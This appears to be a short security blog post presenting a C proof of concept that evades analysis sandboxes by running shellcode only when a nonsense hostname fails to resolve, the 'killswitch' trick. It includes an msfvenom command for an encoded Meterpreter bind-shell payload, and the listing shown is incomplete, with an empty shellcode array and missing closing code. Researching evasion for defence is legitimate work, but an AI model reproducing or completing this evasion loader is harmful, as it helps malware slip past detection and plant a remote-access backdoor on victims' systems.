Sandbox Evasion PoC Killswitch gethostbyname

Recently lots of people talked about killswitches, so I decided to make a quick test. Using gethostbyname as a sandbox evasion technique seems to work just fine. The function gets a hostname and tries to give back the IP address. The shellcode in the PoC is only executed if the IP cannot be resolved. Hope I will have time to add it to AVET soon. It would be interesting if this one evades some of the well-known analysis boxes ;).

//gethostbyname.c by Daniel Sauder (@DanielX4v3r)
//wine gcc -m32 gethostbyname.c -lws2_32

#include <stdio.h>
#include <winsock2.h>

WSADATA wsaData;
WORD version;

int main(int argc, char **argv) {

struct hostent *hp = gethostbyname("adsfadsfasdf.asdfasdfasdf");
if (hp == NULL) {

//msfvenom -p windows/meterpreter/bind_tcp lport=8443 -e x86/shikata_ga_nai -f c -a x86 --platform Windows
unsigned char buf[] =

int (*funct)();
funct = (int (*)()) buf;


return 0;




Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.